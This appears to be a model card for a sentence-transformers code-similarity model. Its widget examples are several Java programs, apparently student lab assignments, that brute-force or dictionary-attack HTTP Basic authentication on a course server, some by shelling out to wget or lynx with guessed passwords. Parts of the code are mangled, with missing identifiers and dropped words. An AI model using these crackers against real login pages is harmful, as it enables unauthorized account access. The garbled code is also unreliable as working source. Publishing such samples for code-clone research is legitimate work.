README.md

metadata

tags:
  - sentence-transformers
  - sentence-similarity
  - feature-extraction
  - generated_from_trainer
  - dataset_size:33411
  - loss:SoftmaxLoss
base_model: microsoft/unixcoder-base-unimodal
widget:
  - source_sentence: |
      import java.io.*;
      import java.net.*;











      public class Dictionary
      {
         private String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/index.php";
         private static String password;
         private static int length;          
         private static int t_counter;       
         private static int f_counter;       
                                             
         private static int respCode;        
         private static BufferedReader buf;  

         public Dictionary()
         {
            FileReader fRead;
            Authenticator.setDefault(new DictionaryAuthenticator());
            t_counter = 0;
            f_counter = 0;
            length = 0;

            try
            {
               fRead = new FileReader("/usr/share/lib/dict/words");
               buf = new BufferedReader(fRead);
            }
            catch (FileNotFoundException e)
            {
               System.out.println("File not found");
            }
         }

         public static void main(String[] args)
         {
            Dictionary dict = new Dictionary();
            String file = " ";
            while(respCode != 200 )
            {
               file = dict.fetchURL();
            }
            System.out.println("Number of attempts: " + t_counter);
            System.out.println("Password: " + password);
            System.out.println(file);
         }

         private String fetchURL()
         {
            StringWriter sw = new StringWriter();
            PrintWriter pw = new PrintWriter();

            try
            {
               URL url = new URL(urlString);
               HttpURLConnection huc = (HttpURLConnection)url.openConnection();
               respCode = huc.getResponseCode();
               InputStream content = huc.getInputStream();
               BufferedReader in = 
                  new BufferedReader (new InputStreamReader (content));
               String line;
               while ((line = in.readLine()) != null) 
               {
                  pw.println(line);
               }
            } catch (IOException e) {
               pw.println("Error  URL");
            }
            return sw.toString();
         }
                  
         class DictionaryAuthenticator extends Authenticator 
         {
            private String username = "";

            protected PasswordAuthentication getPasswordAuthentication()
            {
               return new PasswordAuthentication(username,generatePassword());
            }

            protected char[] generatePassword()
            {
               String word = null;
               int chars;
               char c[] = null;
       
               chars = 0;
             
               if(f_counter == 0) 
               
               
               { 
                  try
                  {
                     
                     {
                        word = buf.readLine();
                        if(word != null)
                        {
                           length = word.length();
                           chars = 0;
                           for(int i=0; i<length; i++)
                           {
                              if(Character.isLetter(word.charAt(i))) chars++;
                           }
                        }
                     }
                     while( word != null && (length > 3 || chars != length));

                  }
                  catch (IOException ioe)
                  {
                     System.out.println("IO Error: " + ioe);
                  }

                  if(word != null)
                  {
                     c = word.toCharArray(); 
                     password = new String(c);
                  } 
                  else
                  {
                     System.out.println(" more words in dictionary");
                     System.exit(0);
                  }

                  f_counter++;
               } 
               else
               
               {
                  c = password.toCharArray(); 
                  for(int i=0; i< length; i++)
                  {
                     if(Character.isLowerCase(c[i]))
                     {
                        c[i] = Character.toUpperCase(c[i]);
                     }
                     else
                     {
                        c[i] = Character.toLowerCase(c[i]);
                     }
                  }
                  password = new String(c);
                  f_counter = 0;
               }

               t_counter++;

               return c;
            }
         }
      }
    sentences:
      - |-

        import java.net.*;
        import java.io.*;
        import java.util.*;


        public class Dictionary {

          public static void main(String args[])
          {
          int i,j,k;
          String pass = new String();
          String UserPass = new String();
          String status = new String();
          String status1 = new String();
          BasicAuth auth = new BasicAuth();
          URLConnection  connect;
           int start,end,diff;
          try {
                       URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");



                      start =System.currentTimeMillis();

                       BufferedReader dis = new BufferedReader(new FileReader("words"));


                 while ((pass = dis.readLine()) != null)
                  {


                      UserPass= auth.encode("",pass);

                      connect = url.openConnection();
                      connect.setDoInput(true);
                      connect.setDoOutput(true);

                      connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
                      connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
                      connect.setRequestProperty("Authorization"," " + UserPass);
                      connect.connect();
                      status =connect.getHeaderField(0);
                      status1 = status.substring( 9,12);
                     if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
                      {
                      System.out.println("Password is " + pass);
                      end=System.currentTimeMillis();
                      diff = end - start;
                      System.out.println("Time Taken = " + (diff/1000) + " secs");
                      System.exit(0);
                      }
                      ((HttpURLConnection)connect).disconnect();
                      connect = null;
                    }

                    System.out.println(" match found");

                    dis.close();
                    dis=null;

                    connect = null;

             }

            catch (MalformedURLException malerr)
          {
          System.err.println("Unable  Open URL" + malerr);
          }

          catch (Exception ioerr)
          {
          System.err.println("Unable  open file" + ioerr);
          }




          }
        }
      - "\n\nimport java.*;\nimport java.io.*;\nimport java.util.*;\n\npublic class BruteForce\n{\n public final static int TOTAL_TIMES=52*52*52;\n public char[] passwd;\n public static void main(String[] args) throws IOException\n {\n  BruteForce bf=new BruteForce();\n  System.out.println(\" cracking...\");\n   time1=new Date().getTime();\n  bf.doBruteForce(time1);\n\t time2=new Date().getTime();\n\tSystem.out.println(\"Finish cracking.\");\n\tSystem.out.println(\" password found.\");\n  System.out.println(\"costs \"+(time2-time1)+\" milliseconds\");\n  System.exit(1);\n }\n\n void doBruteForce(int time1) throws IOException\n {\n  passwd=new char[3];\n  Runtime rt=Runtime.getRuntime();\n   num=0;\n  for(int i=(int)'z';i>=(int)'A';i--)\n  {\n    if(i==96)\n     i=90;\n    passwd[0]=(char)i;\n    for(int j=(int)'z';j>=(int)'A';j--)\n    {\n     if(j==96)\n      j=90;\n     passwd[1]=(char)j;\n     for(int k=(int)'z';k>=(int)'A';k--)\n     {\n      if(k==96)\n       k=90;\n      passwd[2]=(char)k;\n      String password=new String(passwd);\n\t\t\ttry\n      {\n\t\t\t\tnum++;\n\n\t\t\t\t\n\t\t\t\tProcess p=rt.exec(\"lynx -auth=:\"+password+\" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n\t\t\t\t\n\t\t\t\tString ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();\n\t      p.destroy();\n\n\t\t\t\tif(ln!=null)\n        \n        if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')\n        {\n\n          System.out.println(password);\n\t\t\t\t\tSystem.out.println(\"Finish cracking.\");\n\t\t\t\t\tSystem.out.println(ln);\n\t\t\t\t\tSystem.out.println(\"password is \"+password);\n           time2=new Date().getTime();\n          System.out.println(\"costs \"+(time2-time1)+\" milliseconds\");\n          System.out.println(\"The number of attempts is \"+num);\n\t\t      System.exit(1);\n        }\n        \n        \n\n      } catch (FileNotFoundException exc) {\n        System.out.println (\"File Not Found\");\n\t\t\t\tk++;\n      } catch (IOException exc) {\n\t\t    System.out.println (\"IOException\");\n        k++;\n      } catch (NullPointerException exc) {\n\t\t    System.out.println (\"NullPointerException\");\n        k++;\n\t  \t}\n\n     }\n    }\n  }\n }\n}\n"
      - "\n\nimport java.*;\nimport java.io.*;\nimport java.util.*;\n\npublic class BruteForce\n{\n public final static int TOTAL_TIMES=52*52*52;\n public char[] passwd;\n public static void main(String[] args) throws IOException\n {\n  BruteForce bf=new BruteForce();\n  System.out.println(\" cracking...\");\n   time1=new Date().getTime();\n  bf.doBruteForce(time1);\n\t time2=new Date().getTime();\n\tSystem.out.println(\"Finish cracking.\");\n\tSystem.out.println(\" password found.\");\n  System.out.println(\"costs \"+(time2-time1)+\" milliseconds\");\n  System.exit(1);\n }\n\n void doBruteForce(int time1) throws IOException\n {\n  passwd=new char[3];\n  Runtime rt=Runtime.getRuntime();\n   num=0;\n  for(int i=(int)'z';i>=(int)'A';i--)\n  {\n    if(i==96)\n     i=90;\n    passwd[0]=(char)i;\n    for(int j=(int)'z';j>=(int)'A';j--)\n    {\n     if(j==96)\n      j=90;\n     passwd[1]=(char)j;\n     for(int k=(int)'z';k>=(int)'A';k--)\n     {\n      if(k==96)\n       k=90;\n      passwd[2]=(char)k;\n      String password=new String(passwd);\n\t\t\ttry\n      {\n\t\t\t\tnum++;\n\n\t\t\t\t\n\t\t\t\tProcess p=rt.exec(\"lynx -auth=:\"+password+\" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n\t\t\t\t\n\t\t\t\tString ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();\n\t      p.destroy();\n\n\t\t\t\tif(ln!=null)\n        \n        if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')\n        {\n\n          System.out.println(password);\n\t\t\t\t\tSystem.out.println(\"Finish cracking.\");\n\t\t\t\t\tSystem.out.println(ln);\n\t\t\t\t\tSystem.out.println(\"password is \"+password);\n           time2=new Date().getTime();\n          System.out.println(\"costs \"+(time2-time1)+\" milliseconds\");\n          System.out.println(\"The number of attempts is \"+num);\n\t\t      System.exit(1);\n        }\n        \n        \n\n      } catch (FileNotFoundException exc) {\n        System.out.println (\"File Not Found\");\n\t\t\t\tk++;\n      } catch (IOException exc) {\n\t\t    System.out.println (\"IOException\");\n        k++;\n      } catch (NullPointerException exc) {\n\t\t    System.out.println (\"NullPointerException\");\n        k++;\n\t  \t}\n\n     }\n    }\n  }\n }\n}\n"
  - source_sentence: "\n\nimport java.io.*;\nimport java.*;\nimport java.util.StringTokenizer;\n\npublic class Dictionary\n{\n   public static void main(String args[])\n   {\n      final String DICT_FILE = \"/usr/share/lib/dict/words\"; \n      String basic_url = \"http://sec-crack.cs.rmit.edu./SEC/2/\";  \n      String password;\n      String s = null;\n      int num_tries = 0;\n      \n      try\n      {\n         \n         BufferedReader dict_word = new BufferedReader\n                                  (new FileReader (DICT_FILE));\n  \n         \n         while((password = dict_word.readLine())!= null)\n         {        \n            try \n            {\n               \n               Process p = Runtime.getRuntime().exec(\"wget --http-user= --http-passwd=\" + password + \" \" + basic_url);\n              \n               BufferedReader stdInput = new BufferedReader(new \n                     InputStreamReader(p.getInputStream()));\n\n               BufferedReader stdError = new BufferedReader(new \n                     InputStreamReader(p.getErrorStream()));\n\n               \n               while ((s = stdInput.readLine()) != null)\n               {\n                  System.out.println(s);\n               }\n                  \n               \n               while ((s = stdError.readLine()) != null)\n               {\n                  System.out.println(s);\n               }\n\n               try\n\t       {\n                  p.waitFor(); \n               }\n               catch (InterruptedException g)  \n               {\n               }  \n\n               num_tries++;\n                  \n               if((p.exitValue()) == 0) \n               {       \n                  System.out.println(\"**********PASSWORD IS: \" + password);\n\t          System.out.println(\"**********NUMBER OF TRIES: \" + num_tries);\n                  System.exit(1);\n               }\n            }\n            catch (IOException e)\n            {\n               System.out.println(\"exception happened - here's what I know: \");\n               e.printStackTrace();\n               System.exit(-1);\n            }\n         }\n         \n         System.out.println(\"DICTIONARY BRUTE FORCE UNABLE  FIND PASSWORD\");\n         System.out.println(\"**********Sorry, password was not found in dictionary file\");\n         System.exit(1);\n\n      }\n      catch (FileNotFoundException exception)\n      {\n         System.out.println(exception);\n      }\n      catch (IOException exception)\n      {\n         System.out.println(exception);\n      }\n   }\n}\n  \n"
    sentences:
      - |-

        import java.net.*;
        import java.io.*;
        import java.util.*;


        public class Dictionary {

          public static void main(String args[])
          {
          int i,j,k;
          String pass = new String();
          String UserPass = new String();
          String status = new String();
          String status1 = new String();
          BasicAuth auth = new BasicAuth();
          URLConnection  connect;
           int start,end,diff;
          try {
                       URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");



                      start =System.currentTimeMillis();

                       BufferedReader dis = new BufferedReader(new FileReader("words"));


                 while ((pass = dis.readLine()) != null)
                  {


                      UserPass= auth.encode("",pass);

                      connect = url.openConnection();
                      connect.setDoInput(true);
                      connect.setDoOutput(true);

                      connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
                      connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
                      connect.setRequestProperty("Authorization"," " + UserPass);
                      connect.connect();
                      status =connect.getHeaderField(0);
                      status1 = status.substring( 9,12);
                     if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
                      {
                      System.out.println("Password is " + pass);
                      end=System.currentTimeMillis();
                      diff = end - start;
                      System.out.println("Time Taken = " + (diff/1000) + " secs");
                      System.exit(0);
                      }
                      ((HttpURLConnection)connect).disconnect();
                      connect = null;
                    }

                    System.out.println(" match found");

                    dis.close();
                    dis=null;

                    connect = null;

             }

            catch (MalformedURLException malerr)
          {
          System.err.println("Unable  Open URL" + malerr);
          }

          catch (Exception ioerr)
          {
          System.err.println("Unable  open file" + ioerr);
          }




          }
        }
      - "\nimport java.util.*;\n\n\npublic class Cracker\n{\n   private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};\n   private Vector v;\n\n   public Cracker()\n   {\n      v = new Vector( 52);\n   }\n   public void loadLetters()\n   {\n      int i;\n\n      for( i = 0; i < letters.length; i++)\n      {\n\t String s = new StringBuffer().append( letters[i]).toString();\n         v.add( s);\n      }\n   }\n   public Vector getVictor()\n   {\n      return ;\n   }\n   public void loadPairs()\n   {\n      int i,j;\n\n      for( i = 0; i < letters.length - 1; i++)\n      {\n         for( j = i + 1; j < letters.length; j++)\n         {\n            String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();\n\t    String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();\n\t    v.add( s1);\n\t    v.add( s2);\n\t }\n      }\n      for( i = 0; i < letters.length; i++)\n      {\n         String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();\n\t v.add( s3);\n      }\n   }\n   public void loadTriples()\n   {\n      int i, j, k;\n      \n      for( i = 0; i < letters.length; i++)\n      {\n         String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();\n\t v.add( s4);\n      }\n      for( i = 0; i < letters.length - 1; i++)\n      {\n         for( j = i + 1; j < letters.length; j++)\n\t {\n\t    String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();\n\t    String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();\n\t    String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();\n\t    String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();\n\t    String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();\n\t    String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();\n\t    v.add( s5);\n\t    v.add( s6);\n\t    v.add( s7);\n\t    v.add( s8);\n\t    v.add( s9);\n\t    v.add( s10);\n\t }\n      }\n      for( i = 0; i < letters.length - 2; i++)\n      {\n         for( j = i + 1; j < letters.length - 1; j++)\n\t {\n\t    for( k = i + 2; k < letters.length; k++)\n\t    {\n\t       String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();\n\t       String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();\n\t       String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();\n\t       String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();\n\t       String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();\n\t       String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();\n\t       v.add( s11);\n\t       v.add( s12);\n\t       v.add( s13);\n\t       v.add( s14);\n\t       v.add( s15);\n\t       v.add( s16);\n\t    }\n\t }\n      }\n   }\n         \n   public static void main( String[] args)\n   {\n      Cracker cr = new Cracker();\n      cr.loadLetters();\n      cr.loadPairs();\n      cr.loadTriples();\n      System.out.println(\" far \"+cr.getVictor().size()+\" elements loaded\");\n   }\n}\n      \n"
      - |-

        import java.net.*;
        import java.io.*;
        import java.util.*;


        public class Dictionary {

          public static void main(String args[])
          {
          int i,j,k;
          String pass = new String();
          String UserPass = new String();
          String status = new String();
          String status1 = new String();
          BasicAuth auth = new BasicAuth();
          URLConnection  connect;
           int start,end,diff;
          try {
                       URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");



                      start =System.currentTimeMillis();

                       BufferedReader dis = new BufferedReader(new FileReader("words"));


                 while ((pass = dis.readLine()) != null)
                  {


                      UserPass= auth.encode("",pass);

                      connect = url.openConnection();
                      connect.setDoInput(true);
                      connect.setDoOutput(true);

                      connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
                      connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
                      connect.setRequestProperty("Authorization"," " + UserPass);
                      connect.connect();
                      status =connect.getHeaderField(0);
                      status1 = status.substring( 9,12);
                     if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
                      {
                      System.out.println("Password is " + pass);
                      end=System.currentTimeMillis();
                      diff = end - start;
                      System.out.println("Time Taken = " + (diff/1000) + " secs");
                      System.exit(0);
                      }
                      ((HttpURLConnection)connect).disconnect();
                      connect = null;
                    }

                    System.out.println(" match found");

                    dis.close();
                    dis=null;

                    connect = null;

             }

            catch (MalformedURLException malerr)
          {
          System.err.println("Unable  Open URL" + malerr);
          }

          catch (Exception ioerr)
          {
          System.err.println("Unable  open file" + ioerr);
          }




          }
        }
  - source_sentence: |
      import java.net.*;
      import java.util.*;

      public class BruteForce {

         public static void main(String[] args) {
            new CrackAttempt();
         }
      }

      class CrackAttempt {
         public CrackAttempt() {
            final int MAX_LENGTH = 3;
            boolean auth = false;
            Date  = new Date();
            boolean morePasswords = true;
            int passPtr = 0;
            StringBuffer validChars = new StringBuffer("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ");
            char[] password = new char[MAX_LENGTH];

            password[0] = validChars.charAt(0);
            while (!auth && morePasswords) {
               String resource = "http://sec-crack.cs.rmit.edu./SEC/2/";
               try {
                  
                  Authenticator.setDefault(new CrackAuth(password));
                  URL url = new URL(resource);
                  HttpURLConnection conn = (HttpURLConnection)url.openConnection();
                  conn.setRequestMethod("HEAD");
                  if (conn.getResponseCode() == HttpURLConnection.HTTP_OK) {
                     System.out.println("cracked with " + new String(password));
                     auth = true;
                  }
               } catch (Exception e) {
                  System.out.println(" was  exception: " + e.getMessage());
               }
               int count = passPtr;
               while (true) {
                  if (password[count] == validChars.charAt(validChars.length() - 1)) {
                     password[count] = validChars.charAt(0);
                     count--;
                  } else {
                     password[count] = validChars.charAt(validChars.indexOf(String.valueOf(password[count])) + 1);
                     break;
                  }
                  if (count < 0) {
                     
                     if (passPtr < MAX_LENGTH - 1) {
                        passPtr++;
                        password[passPtr] = validChars.charAt(0);
                     } else {
                        morePasswords = false;
                     }
                     break;
                  }
               }
               
            } 
            if (!auth) {
               System.out.println("Unable  determine password");
            } else {
                time = (new Date()).getTime() - start.getTime();
               System.out.println("it took " + String.valueOf(time) + " milliseconds  crack the password");
            }
         }
      }

      class CrackAuth extends Authenticator {
         char[] password;
         public CrackAuth(char[] password) {
            this.password = password;
         }

         protected PasswordAuthentication getPasswordAuthentication()
         {
            String user = "";
            return new PasswordAuthentication(user, password);
         }
      }
    sentences:
      - "\n\nimport java.io.*;\nimport java.*;\nimport java.util.StringTokenizer;\n\npublic class Dictionary\n{\n   public static void main(String args[])\n   {\n      final String DICT_FILE = \"/usr/share/lib/dict/words\"; \n      String basic_url = \"http://sec-crack.cs.rmit.edu./SEC/2/\";  \n      String password;\n      String s = null;\n      int num_tries = 0;\n      \n      try\n      {\n         \n         BufferedReader dict_word = new BufferedReader\n                                  (new FileReader (DICT_FILE));\n  \n         \n         while((password = dict_word.readLine())!= null)\n         {        \n            try \n            {\n               \n               Process p = Runtime.getRuntime().exec(\"wget --http-user= --http-passwd=\" + password + \" \" + basic_url);\n              \n               BufferedReader stdInput = new BufferedReader(new \n                     InputStreamReader(p.getInputStream()));\n\n               BufferedReader stdError = new BufferedReader(new \n                     InputStreamReader(p.getErrorStream()));\n\n               \n               while ((s = stdInput.readLine()) != null)\n               {\n                  System.out.println(s);\n               }\n                  \n               \n               while ((s = stdError.readLine()) != null)\n               {\n                  System.out.println(s);\n               }\n\n               try\n\t       {\n                  p.waitFor(); \n               }\n               catch (InterruptedException g)  \n               {\n               }  \n\n               num_tries++;\n                  \n               if((p.exitValue()) == 0) \n               {       \n                  System.out.println(\"**********PASSWORD IS: \" + password);\n\t          System.out.println(\"**********NUMBER OF TRIES: \" + num_tries);\n                  System.exit(1);\n               }\n            }\n            catch (IOException e)\n            {\n               System.out.println(\"exception happened - here's what I know: \");\n               e.printStackTrace();\n               System.exit(-1);\n            }\n         }\n         \n         System.out.println(\"DICTIONARY BRUTE FORCE UNABLE  FIND PASSWORD\");\n         System.out.println(\"**********Sorry, password was not found in dictionary file\");\n         System.exit(1);\n\n      }\n      catch (FileNotFoundException exception)\n      {\n         System.out.println(exception);\n      }\n      catch (IOException exception)\n      {\n         System.out.println(exception);\n      }\n   }\n}\n  \n"
      - "\n\nimport java.io.*;\nimport java.*;\nimport java.util.StringTokenizer;\n\npublic class Dictionary\n{\n   public static void main(String args[])\n   {\n      final String DICT_FILE = \"/usr/share/lib/dict/words\"; \n      String basic_url = \"http://sec-crack.cs.rmit.edu./SEC/2/\";  \n      String password;\n      String s = null;\n      int num_tries = 0;\n      \n      try\n      {\n         \n         BufferedReader dict_word = new BufferedReader\n                                  (new FileReader (DICT_FILE));\n  \n         \n         while((password = dict_word.readLine())!= null)\n         {        \n            try \n            {\n               \n               Process p = Runtime.getRuntime().exec(\"wget --http-user= --http-passwd=\" + password + \" \" + basic_url);\n              \n               BufferedReader stdInput = new BufferedReader(new \n                     InputStreamReader(p.getInputStream()));\n\n               BufferedReader stdError = new BufferedReader(new \n                     InputStreamReader(p.getErrorStream()));\n\n               \n               while ((s = stdInput.readLine()) != null)\n               {\n                  System.out.println(s);\n               }\n                  \n               \n               while ((s = stdError.readLine()) != null)\n               {\n                  System.out.println(s);\n               }\n\n               try\n\t       {\n                  p.waitFor(); \n               }\n               catch (InterruptedException g)  \n               {\n               }  \n\n               num_tries++;\n                  \n               if((p.exitValue()) == 0) \n               {       \n                  System.out.println(\"**********PASSWORD IS: \" + password);\n\t          System.out.println(\"**********NUMBER OF TRIES: \" + num_tries);\n                  System.exit(1);\n               }\n            }\n            catch (IOException e)\n            {\n               System.out.println(\"exception happened - here's what I know: \");\n               e.printStackTrace();\n               System.exit(-1);\n            }\n         }\n         \n         System.out.println(\"DICTIONARY BRUTE FORCE UNABLE  FIND PASSWORD\");\n         System.out.println(\"**********Sorry, password was not found in dictionary file\");\n         System.exit(1);\n\n      }\n      catch (FileNotFoundException exception)\n      {\n         System.out.println(exception);\n      }\n      catch (IOException exception)\n      {\n         System.out.println(exception);\n      }\n   }\n}\n  \n"
      - "\nimport java.util.*;\n\n\npublic class Cracker\n{\n   private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};\n   private Vector v;\n\n   public Cracker()\n   {\n      v = new Vector( 52);\n   }\n   public void loadLetters()\n   {\n      int i;\n\n      for( i = 0; i < letters.length; i++)\n      {\n\t String s = new StringBuffer().append( letters[i]).toString();\n         v.add( s);\n      }\n   }\n   public Vector getVictor()\n   {\n      return ;\n   }\n   public void loadPairs()\n   {\n      int i,j;\n\n      for( i = 0; i < letters.length - 1; i++)\n      {\n         for( j = i + 1; j < letters.length; j++)\n         {\n            String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();\n\t    String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();\n\t    v.add( s1);\n\t    v.add( s2);\n\t }\n      }\n      for( i = 0; i < letters.length; i++)\n      {\n         String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();\n\t v.add( s3);\n      }\n   }\n   public void loadTriples()\n   {\n      int i, j, k;\n      \n      for( i = 0; i < letters.length; i++)\n      {\n         String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();\n\t v.add( s4);\n      }\n      for( i = 0; i < letters.length - 1; i++)\n      {\n         for( j = i + 1; j < letters.length; j++)\n\t {\n\t    String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();\n\t    String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();\n\t    String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();\n\t    String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();\n\t    String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();\n\t    String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();\n\t    v.add( s5);\n\t    v.add( s6);\n\t    v.add( s7);\n\t    v.add( s8);\n\t    v.add( s9);\n\t    v.add( s10);\n\t }\n      }\n      for( i = 0; i < letters.length - 2; i++)\n      {\n         for( j = i + 1; j < letters.length - 1; j++)\n\t {\n\t    for( k = i + 2; k < letters.length; k++)\n\t    {\n\t       String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();\n\t       String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();\n\t       String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();\n\t       String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();\n\t       String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();\n\t       String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();\n\t       v.add( s11);\n\t       v.add( s12);\n\t       v.add( s13);\n\t       v.add( s14);\n\t       v.add( s15);\n\t       v.add( s16);\n\t    }\n\t }\n      }\n   }\n         \n   public static void main( String[] args)\n   {\n      Cracker cr = new Cracker();\n      cr.loadLetters();\n      cr.loadPairs();\n      cr.loadTriples();\n      System.out.println(\" far \"+cr.getVictor().size()+\" elements loaded\");\n   }\n}\n      \n"
  - source_sentence: |
      import java.io.*;
      import java.net.*;











      public class BruteForce
      {
         private String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/index.php";
         private static String password;
         private static int length;          
         private static int t_counter;       
         private static int f_counter;       
                                             
         private static int cases;           
                                             
         private static int respCode;        

         public BruteForce()
         {
            Authenticator.setDefault(new BruteForceAuthenticator());
            t_counter = 0;
            f_counter = 0;
            cases = 0;
         }

         public static void main (String[] args)
         {
            BruteForce bf = new BruteForce();
            String file = " ";
            while(respCode != 200)
            {
               file = bf.fetchURL();
            }
            System.out.println("Number of attempts: " + t_counter);
            System.out.println("Password: " + password);
            System.out.println(file);
         }

         private String fetchURL()
         {
            StringWriter sw = new StringWriter();
            PrintWriter pw = new PrintWriter();

            try
            {
               URL url = new URL(urlString);
               HttpURLConnection huc = (HttpURLConnection)url.openConnection();
               respCode = huc.getResponseCode();
               InputStream content = huc.getInputStream();
               BufferedReader in = 
                  new BufferedReader (new InputStreamReader (content));
               String line;
               while ((line = in.readLine()) != null) 
               {
                  pw.println(line);
               }
            } catch (IOException e) {
               pw.println("Error  URL");
            }
            return sw.toString();
         }
                  
         class BruteForceAuthenticator extends Authenticator 
         {
            private String username = "";

            protected PasswordAuthentication getPasswordAuthentication()
            {
               return new PasswordAuthentication(username,generatePassword());
            }

            protected char[] generatePassword()
            {
               int i,j,k;
               int n = 26;
               String letters1 = "qwertyuiopasdfghjklzxcvbnm";
               String letters2 = "abcdefghijklmnopqrstuvwxyz";
       
               i=0;
               j=0;
               k=0;
         
               
               
               if(t_counter == 0)
               {
                  length = 1;
                  cases = 0;
                  f_counter = 0;
               }
               if(t_counter == 2*n)
               {
                  length = 2;
                  cases = 0;
                  f_counter = 0;
               }
               if(t_counter == (2*n + 4*n*n))
               {
                  length = 3;
                  cases = 0;
                  f_counter = 0;
               }

               char c[] = new char[length];

               
               
               if(length == 1)
               {
                  if(f_counter == n)
                  {
                     cases++;
                     f_counter = 0;
                  }
                  i = f_counter;

               } else if(length == 2) 
               {
                  if(f_counter == n*n)
                  {
                     cases++;
                     f_counter = 0;
                  }
                  i = f_counter/n;
                  j = f_counter - i*n;

               } else if(length == 3) 
               {
                  if(f_counter == n*n*n)
                  {
                     cases++;
                     f_counter = 0;
                  }
                  i = f_counter/(n*n);
                  j = (f_counter - i*n*n)/n;
                  k = f_counter - i*n*n - j*n;
               }

               
               switch(cases)
               {
                  case 0:
                     c[0] = letters1.charAt(i);
                     if(length > 1) c[1] = letters1.charAt(j);
                     if(length > 2) c[2] = letters1.charAt(k);
                     break;
                  case 1:
                     c[0] = Character.toUpperCase(letters1.charAt(i));
                     if(length > 1) c[1] = Character.toUpperCase(letters1.charAt(j));
                     if(length > 2) c[2] = Character.toUpperCase(letters1.charAt(k));
                     break;
                  case 2:
                     c[0] = Character.toUpperCase(letters1.charAt(i));
                     c[1] = letters1.charAt(j);
                     if(length > 2) c[2] = letters1.charAt(k);
                     break;
                  case 3:
                     c[0] = letters1.charAt(i);
                     c[1] = Character.toUpperCase(letters1.charAt(j));
                     if(length > 2) c[2] = letters1.charAt(k);
                     break;
                  case 4:
                     c[0] = letters1.charAt(i);
                     c[1] = letters1.charAt(j);
                     c[2] = Character.toUpperCase(letters1.charAt(k));
                     break;
                  case 5:
                     c[0] = Character.toUpperCase(letters1.charAt(i));
                     c[1] = Character.toUpperCase(letters1.charAt(j));
                     c[2] = letters1.charAt(k);
                     break;
                  case 6:
                     c[0] = letters1.charAt(i);
                     c[1] = Character.toUpperCase(letters1.charAt(j));
                     c[2] = Character.toUpperCase(letters1.charAt(k));
                     break;
                  case 7:
                     c[0] = Character.toUpperCase(letters1.charAt(i));
                     c[1] = letters1.charAt(j);
                     c[2] = Character.toUpperCase(letters1.charAt(k));
                     break;
                  default:
                     break;
